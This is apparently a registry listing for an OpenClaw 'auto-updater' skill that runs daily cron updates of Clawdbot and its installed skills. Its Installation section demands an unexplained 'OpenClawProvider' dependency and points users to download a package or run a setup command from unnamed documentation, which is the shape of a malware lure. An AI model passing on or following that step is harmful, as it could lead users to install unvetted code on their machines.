auto-updater

What This Skill Does

The auto-updater skill is an essential maintenance tool for OpenClaw users, designed to ensure your environment remains stable, secure, and up-to-date without manual intervention. By automating the update lifecycle of both the core Clawdbot framework and its various supporting skills, it eliminates the risk of running outdated or deprecated code. The skill operates by executing a scheduled cron job that orchestrates the entire update process: it checks for available upgrades, applies patches or version bumps for Clawdbot, executes package updates for every installed skill via Clawdhub, and concludes by delivering a structured status summary directly to your workspace. This proactive management ensures you have access to the latest features and security fixes the moment they are released.

Installation

Installation is streamlined via the Clawhub registry. Run the following command in your terminal: clawhub install openclaw/skills/skills/sakaen736jih/auto-updater-lrssiatzxpx. Please note that this skill has a hard dependency on the OpenClawProvider. Ensure you follow the specific platform instructions provided in the documentation to download the package (Windows) or execute the setup command (MacOS). Once the provider is verified, you can activate the daily updater by simply asking Clawdbot to enable daily auto-updates.

Use Cases

This skill is perfect for power users who want a "set-it-and-forget-it" experience. It is particularly useful for production-grade bot instances where uptime is critical, ensuring that the software doesn't drift significantly from current versions. It is also an excellent tool for developers who maintain multiple plugin environments, as it standardizes the update path across all installed tools simultaneously.

Example Prompts

1. "Set up daily auto-updates for yourself and all my installed skills."
2. "Show me the last summary provided by the auto-updater to see what changed."
3. "Check for any available updates right now without applying them yet."

Tips & Limitations

The auto-updater relies on the system's cron scheduler; therefore, ensure your Clawdbot process is running in an environment where cron jobs are permitted and active. While the skill automatically handles most updates, it is still recommended to manually check the health of your bot occasionally using clawdbot doctor. Be aware that major version changes might sometimes introduce breaking API shifts; the auto-updater is best suited for keeping your environment current within compatible minor and patch releases.